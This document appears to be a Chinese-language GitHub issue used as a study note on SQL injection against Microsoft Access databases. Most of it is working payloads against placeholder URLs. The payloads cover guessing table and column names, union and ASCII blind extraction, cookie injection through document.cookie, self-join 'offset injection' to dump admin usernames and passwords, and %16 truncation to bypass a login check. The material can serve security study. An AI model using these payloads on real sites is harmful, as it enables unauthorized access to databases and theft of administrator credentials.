注入(二)
PyxYuYu opened this issue · 0 comments
PyxYuYu commented
There is a kind of beauty in imperfection.
0x01 SQL注入
Access
Access
中没有专门的注释符,因此/*
,--
和#
都没法使用,但是可以使用NULL
或者%00
代替Access
不支持多句执行,支持联合查询,union
后的from
关键字必须使用一个已存在的表名- 手工注入
- 猜解表名
and exists (select * from 表名)
- 猜解列名
and exists (select 列名 from 表名)
- 猜解列数
order by 列数
- 注:某些情况下,返回的是实际查询出的列数,而不是整个表的列数,
order by
本来就是根据指定的结果如何排序,针对的就是查询结果而不是整个表,所以特殊情况order by
猜解的列数和后端逻辑有关 - 比如
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"
- 实际猜解的情况是
URL
后面+order by+列数
SELECT first_name, last_name FROM users WHERE id = '1' order by 列数
- 所以在实战中,
列数
只能猜解出为2
,但是在实际表中列数可能会更多,这就导致了后面猜解用户名、密码出现错误 - 所以,这里只要猜解出显示位,就可以利用
concat
函数来获取数据
and 1=2 union select concat(id,0x232323,user,0x232323,pwd), 2 from admin
- 联合查询
and 1=2 union select 1,2,3,4,5,6 from admin
and 1=2 union select 1,user,3,pwd,5,6 from admin
- 利用上面获得的列数,来获取显示位,利用显示位和列名,来获取数据
ASCII
码逐字猜解(很多Python
写的小工具的原理)- 猜解列的长度
and (select top 1 len(列名) from 表名)>N
and (select top 1 len(列名) from 表名)=N
- 如果要猜解列中第二条数据,应该使用
select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)
- 猜解数据
and (select top 1 asc(mid(列名,1,1))) from 表名)=asc码
- 利用
asc()
函数和mid()
函数
//得到列名第N位字符的ASC码 asc(mid(列名,N,1))
asc
码区间判断
and (select count(*) from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
- 中文处理
//当ASCII转换后为负数,用abs()函数取绝对值 and (select top 1 abs(asc(mid(列名,1,1)))) from 表名)=asc码
- 文本框搜索型注入
- 判断语句
关键字' and 1=1 and '%'='%
关键字' and 1=2 and '%'='%
- 将
and 1=1
替换成上面的注入语句即可进一步猜解数据
Cookie
注入- 对
POST/GET
进行了过滤,可以考虑是否存在Cookie
注入 Cookie
注入的原因是因为未对request.cookie("参数")
方式提交的数据进行过滤,导致注入漏洞的产生- 判断语句
javascript:alert(document.cookie="id="+escape("44 and 1=1"));
javascript:alert(document.cookie="id="+escape("44 and 1=2"));
- 将
and 1=1
替换成上面的注入语句即可进一步猜解数据
- 对
- 偏移注入
- 偏移注入特指
Access
偏移注入,主要是由于数据库结构的问题,其他数据库没法利用 - 一般猜解出表名,无法猜解出字段(列名),可以尝试考虑偏移注入
- 利用条件
- 猜解出管理表名(一般
admin
) - 猜解出任意字段(一个或者多个,多个会增加几率)
- 猜解出管理表名(一般
- 影响偏移注入成功率的因素
- 管理表中字段数越少越好
- 因为最后猜解出的结果是随机的,所以越少就越容易猜解出用户名和密码
- 一般至少3个字段
id
name
password
- 当前注入点的脚本内查询的表的字段越多越好
- 因为偏移注入采用的是表自联方式,即
管理表字段数*2 < order by出的字段数
,所以越多的话,则可以实现二级偏移,或更多级偏移
- 因为偏移注入采用的是表自联方式,即
- 管理表中已知的字段越多越好
id
字段一般都会存在
- 管理表中字段数越少越好
- 注入流程
order by
判断字段数
http://www.xxx.com/xx.asp?id=1 order by 13
- 联合查询判断管理表字段数
http://www.xxx.com/xx.asp?id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,* from admin
- 用
*
来确定admin
表字段数 - 此处
admin
表字段数为4
- 所以一级偏移,利用
admin
表自联,inner join
,以及admin
表中id
字段
from (admin as a inner join admin as b on a.id=b.id)
- 一级偏移,两个表,即字段翻倍为
8
13 - 4*2 = 5
- 联合查询猜解数据
http://www.xxx.com/xx.asp?id=1 and 1=2 union select 1,2,3,4,5,* from (admin as a inner join admin as b on a.id=b.id)
*
在这里代表了10个字段,增加了用户名、密码显示的概率- 运气好的话,可能用户名、密码就被猜解出了,如果页面没显示,可以查看源代码,说不定显示在源代码中
- 如果都不存在的话,可以在
1,2,3,4,5
后面增加a.id
b.id
,因为*
中是存在a.id
b.id
的,所以会自动去掉重复存在,保存集合中元素的唯一性,但是因为它们的加入,*
中的字段顺序会被打乱重组两次,大大增加了用户名、密码显示的概率
http://www.xxx.com/xx.asp?id=1 and 1=2 union select 1,2,3,4,5,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
- 如果仍然没有显示,那么可采取二级偏移,或更多级偏移,二级偏移即3个表自联
from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
http://www.xxx.com/xx.asp?id=1 and 1=2 union select 1,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
- 偏移注入特指
ODBC
驱动链接的Access
查询截断- 利用
%16
进行截断
http://www.xxx.com/dzb/admin/chklogin.asp?password=1&Submit=1&admin=1' and exists (select * from admin1) and '1'='1
- 报错,说明存在注入,
order by
得出4个字段
//绕过验证,直接进入系统 http://www.xxx.com/dzb/admin/chklogin.asp?password=1&Submit=1&admin=1' UNION ALL SELECT 123,NULL,NULL,NULL FROM MSysAccessObjects%16
- 查看代码,构造成的查询语句
select * from admin where admin='1' UNION ALL SELECT 123,NULL,NULL,NULL FROM MSysAccessObjects%16(%16会被URL转码) and password=1
%16
会将后面的password
内容截断,导致查询等同于
select * from admin where admin='1' UNION ALL SELECT 123,NULL,NULL,NULL FROM MSysAccessObjects
- 所以使用联合查询就等于查询出了一条数据:
id=123
其他字段都为空
- 利用
- 类似偏移注入
1
- 利用子查询忽略字段名,只需要知道表名,对付
Access
比较有用,也可以从各种CTF
的Flag
表中读取数据 - 利用条件
- 表名已知,字段名未知,数据库本身支持子查询
- 思路
- 在子查询里面写针对目标表的联合查询:
- 第一个查询以常量为每个字段占位,同时指定别名
- 紧随其后的联合查询查询目标表所有字段(
*
) - 最后对这个子查询的结果进行联合查询或盲注
- 在子查询里面写针对目标表的联合查询:
- 例如:
//存在注入点 select title,time,author,content from article where id={inject here}
- 字段为
4
,已知表名admin
,admin
字段未知
//先猜测admin表字段总数,在子查询中加入order by,999999999为不存在的id select title,time,author,content from article where id = 999999999 union select 1,2,3,4 from (select * from admin order by 1) //这里是得到可以显示的位置,通过order by得到admin表的列数
- 假设获得的字段总数为
5
,构造子查询的联合查询并指定别名
select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 from admin where 1=2 union select * from admin
- 最后对这个子查询结果集进行查询
select title,time,author,content from article where id=999999999 union select 1,2,3,field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5 from(select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 from admin where 1=2 union select * from admin) //这一句就可以读出所有的密码
- 当数据库为
Access
时,可以不指定别名,Access
为未命名的表达式自动添加别名,第一个为Expr1000
,第二个为Expr1001
,于是以上语句变为
select title,time,author,content from article where id=999999999 union select 1 as x,2 as xx,3 as xxx,Expr1000&'|'&Expr1001&'|'&Expr1002&'|'&Expr1003&'|'&Expr1004 as xxxx from(select 1,2,3,4,5 from admin where 1=2 union select * from admin)
- 注意:如果原始语句中存在表达式,则这种查询方式可能不正确
- 需要加条件的时候,再套一层子查询
select title,time,author,content from article where id=999999999 union select 1,2,3,field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5 from(select * from (select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 from admin where 1=2 union select * from admin) where field_1 not in (1))
- 盲注的时候可以这样(用于回显不同时)
select title,time,author,content from article where id=999999999 or (select top 1 len(field_1) from(select 1 as field_1,2,3,4,5 from admin where 1=2 union select * from admin))>0
- 也可以这样(用于因多次代入无论如何都报错时,或500/200的区别时)
select title,time,author,content from article where id=999999999 or iif((select top 1 len(field_1) from(select 1 as field_1,2,3,4,5 from admin where 1=2 union select * from admin))>0,1,(select 2 from multi_rows_table))=1
- 需要
multi_rows_table
中记录数大于1
- 最后,部分数据库需要对子查询指定别名(
Access
不用指定)
- 利用子查询忽略字段名,只需要知道表名,对付
- 类似偏移注入
2
- 利用条件
- 表名已知,字段名未知
- 注入流程
order by
判断字段数,字段数13
and exists(select * from admin)
判断管理表名- 联合查询,判断管理表字段数
union select 1,2,3,4,5,6,7,8,9,10,* from admin
admin
表字段数为3
- 网页中显示位为
3、4、5
,为连续数字,表示可以连续的查询结果,构造查询admin
表前三列的第一行
union select 1,2,admin.*,6,7,8,9,10,11,12,13 from admin
- 猜解出的数据就会显示,如果其中有
1
,说明该表有id
字段,修改查语句可以获取其他行
union select 1,2,admin.*,6,7,8,9,10,11,12,13 from admin where id=2
- 除了
Access
,MySQL
也可以用这种方法注入
- 利用条件